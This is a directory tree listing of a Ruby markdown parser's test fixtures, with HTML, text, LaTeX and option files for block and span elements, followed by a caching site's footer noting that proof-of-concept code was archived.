 │   ├── [ 357] item_ial.html │   │   │   │   ├── [ 210] item_ial.text │   │   │   │   ├── [ 193] multiple_terms.html │   │   │   │   ├── [ 79] multiple_terms.text │   │   │   │   ├── [ 50] no_def_list.html │   │   │   │   ├── [ 44] no_def_list.text │   │   │   │   ├── [ 123] para_wrapping.html │   │   │   │   ├── [ 46] para_wrapping.text │   │   │   │   ├── [ 86] separated_by_eob.html │   │   │   │   ├── [ 26] separated_by_eob.text │   │   │   │   ├── [ 127] simple.html │   │   │   │   ├── [ 51] simple.text │   │   │   │   ├── [ 52] styled_terms.html │   │   │   │   ├── [ 14] styled_terms.text │   │   │   │   ├── [ 36] too_much_space.html │   │   │   │   ├── [ 23] too_much_space.text │   │   │   │   ├── [ 492] with_blocks.html │   │   │   │   └── [ 168] with_blocks.text │   │   │   ├── [4.0K] 14_table │   │   │   │   ├── [ 144] empty_tag_in_cell.html │   │   │   │   ├── [ 22] empty_tag_in_cell.options │   │   │   │   ├── [ 61] empty_tag_in_cell.text │   │   │   │   ├── [ 115] errors.html │   │   │   │   ├── [ 90] errors.text │   │   │   │   ├── [ 773] escaping.html │   │   │   │   ├── [ 263] escaping.text │   │   │   │   ├── [ 805] footer.html │   │   │   │   ├── [ 254] footer.text │   │   │   │   ├── [1.9K] header.html │   │   │   │   ├── [ 526] header.text │   │   │   │   ├── [ 46] no_table.html │   │   │   │   ├── [ 35] no_table.text │   │   │   │   ├── [2.6K] simple.html │   │   │   │   ├── [ 773] simple.text │   │   │   │   ├── [ 559] table_with_footnote.html │   │   │   │   ├── [ 157] table_with_footnote.latex │   │   │   │   └── [ 82] table_with_footnote.text │   │   │   ├── [4.0K] 15_math │   │   │   │   ├── [ 88] gh_128.html │   │   │   │   ├── [ 63] gh_128.text │   │   │   │   ├── [ 49] no_engine.html │   │   │   │   ├── [ 16] no_engine.options │   │   │   │   ├── [ 21] no_engine.text │   │   │   │   ├── [ 331] normal.html │   │   │   │   └── [ 265] normal.text │   │   │   └── [4.0K] 16_toc │   │   │   ├── [ 193] no_toc.html │   │   │   ├── [ 194] no_toc.text │   │   │   ├── [1.3K] toc_exclude.html │   │   │   ├── [ 16] toc_exclude.options │   │   │   ├── [ 217] toc_exclude.text │   │   │   ├── [ 831] toc_levels.html │   │   │   ├── [ 34] toc_levels.options │   │   │   ├── [ 199] toc_levels.text │   │   │   ├── [ 493] toc_with_footnotes.html │   │   │   ├── [ 16] toc_with_footnotes.options │   │   │   ├── [ 97] toc_with_footnotes.text │   │   │   ├── [ 271] toc_with_links.html │   │   │   ├── [ 41] toc_with_links.options │   │   │   └── [ 58] toc_with_links.text │   │   ├── [ 48] cjk-line-break.html │   │   ├── [ 34] cjk-line-break.options │   │   ├── [ 42] cjk-line-break.text │   │   ├── [ 997] encoding.html │   │   ├── [ 642] encoding.text │   │   ├── [4.0K] man │   │   │   ├── [1.5K] example.man │   │   │   ├── [1.8K] example.text │   │   │   ├── [ 70] heading-name-dash-description.man │   │   │   ├── [ 22] heading-name-dash-description.text │   │   │   ├── [ 104] heading-name-description.man │   │   │   ├── [ 95] heading-name-description.text │   │   │   ├── [ 41] heading-name.man │   │   │   ├── [ 70] heading-name-section-description.man │   │   │   ├── [ 25] heading-name-section-description.text │   │   │   ├── [ 41] heading-name-section.man │   │   │   ├── [ 10] heading-name-section.text │   │   │   ├── [ 7] heading-name.text │   │   │   ├── [ 61] sections.man │   │   │   ├── [ 77] sections.text │   │   │   ├── [ 138] text-escaping.man │   │   │   └── [ 97] text-escaping.text │   │   └── [4.0K] span │   │   ├── [4.0K] 01_link │   │   │   ├── [ 101] empty.html │   │   │   ├── [ 69] empty.text │   │   │   ├── [ 170] empty_title.htmlinput │   │   │   ├── [ 121] empty_title.text │   │   │   ├── [ 314] image_in_a.html │   │   │   ├── [ 205] image_in_a.text │   │   │   ├── [ 540] imagelinks.html │   │   │   ├── [ 345] imagelinks.text │   │   │   ├── [1.4K] inline.html │   │   │   ├── [1010] inline.text │   │   │   ├── [ 234] latex_escaping.latex │   │   │   ├── [ 102] latex_escaping.text │   │   │   ├── [ 320] link_defs.html │   │   │   ├── [ 629] link_defs.text │   │   │   ├── [ 332] link_defs_with_ial.html │   │   │   ├── [ 299] link_defs_with_ial.text │   │   │   ├── [ 125] links_with_angle_brackets.html │   │   │   ├── [ 87] links_with_angle_brackets.text │   │   │   ├── [1.1K] reference.html │   │   │   ├── [ 70] reference.options │   │   │   └── [ 800] reference.text │   │   ├── [4.0K] 02_emphasis │   │   │   ├── [ 60] empty.html │   │   │   ├── [ 39] empty.text │   │   │   ├── [ 139] errors.html │   │   │   ├── [ 98] errors.text │   │   │   ├── [1.2K] nesting.html │   │   │   ├── [ 478] nesting.text │   │   │   ├── [1.4K] normal.html │   │   │   ├── [ 25] normal.options │   │   │   └── [ 768] normal.text │   │   ├── [4.0K] 03_codespan │   │   │   ├── [ 77] empty.html │   │   │   ├── [ 56] empty.text │   │   │   ├── [ 24] errors.html │   │   │   ├── [ 17] errors.text │   │   │   ├── [ 217] highlighting.html │   │   │   ├── [ 60] highlighting-minted.latex │   │   │   ├── [ 28] highlighting-minted.options │   │   │   ├── [ 59] highlighting-minted.text │   │   │   ├── [ 59] highlighting.text │   │   │   ├── [ 66] normal-css-class.html │   │   │   ├── [ 45] normal-css-class.options │   │   │   ├── [ 22] normal-css-class.text │   │   │   ├── [ 373] normal.html │   │   │   ├── [ 231] normal.text │   │   │   └── [4.0K] rouge │   │   │   ├── [ 61] disabled.html │   │   │   ├── [ 79] disabled.options │   │   │   ├── [ 38] disabled.text │   │   │   ├── [ 217] simple.html │   │   │   ├── [ 27] simple.options │   │   │   └── [ 59] simple.text │   │   ├── [4.0K] 04_footnote │   │   │   ├── [3.0K] backlink_inline.html │   │   │   ├── [ 31] backlink_inline.options │   │   │   ├── [ 469] backlink_inline.text │   │   │   ├── [ 363] backlink_text.html │   │   │   ├── [ 42] backlink_text.options │   │   │   ├── [ 47] backlink_text.text │   │   │   ├── [ 176] definitions.html │   │   │   ├── [ 197] definitions.latex │   │   │   ├── [ 247] definitions.text │   │   │   ├── [ 622] footnote_nr.html │   │   │   ├── [ 82] footnote_nr.latex │   │   │   ├── [ 17] footnote_nr.options │   │   │   ├── [ 86] footnote_nr.text │   │   │   ├── [ 877] footnote_prefix.html │   │   │   ├── [ 26] footnote_prefix.options │   │   │   ├── [ 91] footnote_prefix.text │   │   │   ├── [ 950] inside_footnote.html │   │   │   ├── [ 177] inside_footnote.text │   │   │   ├── [2.0K] markers.html │   │   │   ├── [ 497] markers.latex │   │   │   ├── [ 43] markers.options │   │   │   ├── [ 359] markers.text │   │   │   ├── [ 381] placement.html │   │   │   ├── [ 25] placement.options │   │   │   ├── [ 122] placement.text │   │   │   ├── [ 399] regexp_problem.html │   │   │   ├── [ 43] regexp_problem.options │   │   │   ├── [ 117] regexp_problem.text │   │   │   ├── [ 268] without_backlink.html │   │   │   ├── [ 23] without_backlink.options │   │   │   └── [ 47] without_backlink.text │   │   ├── [4.0K] 05_html │   │   │   ├── [ 41] across_lines.html │   │   │   ├── [ 34] across_lines.text │   │   │   ├── [ 253] button.html │   │   │   ├── [ 185] button.text │   │   │   ├── [ 38] invalid.html │   │   │   ├── [ 24] invalid.text │   │   │   ├── [ 56] link_with_mailto.html │   │   │   ├── [ 49] link_with_mailto.text │   │   │   ├── [ 261] markdown_attr.html │   │   │   ├── [ 318] markdown_attr.text │   │   │   ├── [ 46] mark_element.html │   │   │   ├── [ 32] mark_element.text │   │   │   ├── [ 880] normal.html │   │   │   ├── [ 679] normal.text │   │   │   ├── [ 121] raw_span_elements.html │   │   │   ├── [ 114] raw_span_elements.text │   │   │   ├── [ 171] xml.html │   │   │   └── [ 137] xml.text │   │   ├── [4.0K] abbreviations │   │   │   ├── [ 40] abbrev_defs.html │   │   │   ├── [ 123] abbrev_defs.text │   │   │   ├── [ 874] abbrev.html │   │   │   ├── [ 416] abbrev_in_html.html │   │   │   ├── [ 369] abbrev_in_html.text │   │   │   ├── [ 542] abbrev.text │   │   │   ├── [ 408] in_footnote.html │   │   │   └── [ 69] in_footnote.text │   │   ├── [4.0K] autolinks │   │   │   ├── [1.1K] url_links.html │   │   │   └── [ 583] url_links.text │   │   ├── [4.0K] escaped_chars │   │   │   ├── [ 259] normal.html │   │   │   └── [ 97] normal.text │   │   ├── [4.0K] extension │   │   │   ├── [ 228] comment.html │   │   │   ├── [ 265] comment.text │   │   │   ├── [ 42] ignored.html │   │   │   ├── [ 35] ignored.text │   │   │   ├── [ 28] nomarkdown.html │   │   │   ├── [ 39] nomarkdown.text │   │   │   ├── [ 47] options.html │   │   │   └── [ 77] options.text │   │   ├── [4.0K] ial │   │   │   ├── [ 206] simple.html │   │   │   └── [ 152] simple.text │   │   ├── [4.0K] line_breaks │   │   │   ├── [ 183] normal.html │   │   │   ├── [ 177] normal.latex │   │   │   └── [ 148] normal.text │   │   ├── [4.0K] math │   │   │   ├── [ 53] no_engine.html │   │   │   ├── [ 16] no_engine.options │   │   │   ├── [ 20] no_engine.text │   │   │   ├── [ 206] normal.html │   │   │   └── [ 174] normal.text │   │   └── [4.0K] text_substitutions │   │   ├── [ 56] entities_as_char.html │   │   ├── [ 60] entities_as_char.options │   │   ├── [ 58] entities_as_char.text │   │   ├── [ 65] entities_as_input.html │   │   ├── [ 26] entities_as_input.options │   │   ├── [ 54] entities_as_input.text │   │   ├── [ 194] entities.html │   │   ├── [ 64] entities_numeric.html │   │   ├── [ 25] entities_numeric.options │   │   ├── [ 54] entities_numeric.text │   │   ├── [ 26] entities.options │   │   ├── [ 66] entities_symbolic.html │   │   ├── [ 26] entities_symbolic.options │   │   ├── [ 54] entities_symbolic.text │   │   ├── [ 164] entities.text │   │   ├── [ 23] greaterthan.html │   │   ├── [ 10] greaterthan.text │   │   ├── [ 23] lowerthan.html │   │   ├── [ 10] lowerthan.text │   │   ├── [1.2K] typography.html │   │   ├── [ 25] typography.options │   │   ├── [ 111] typography_subst.html │   │   ├── [ 166] typography_subst.latex │   │   ├── [ 136] typography_subst.options │   │   ├── [ 73] typography_subst.text │   │   └── [ 657] typography.text │   ├── [ 16K] test_files.rb │   ├── [6.3K] test_location.rb │   └── [ 842] test_string_scanner_kramdown.rb └── [2.0K] webgen.config 71 directories, 697 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.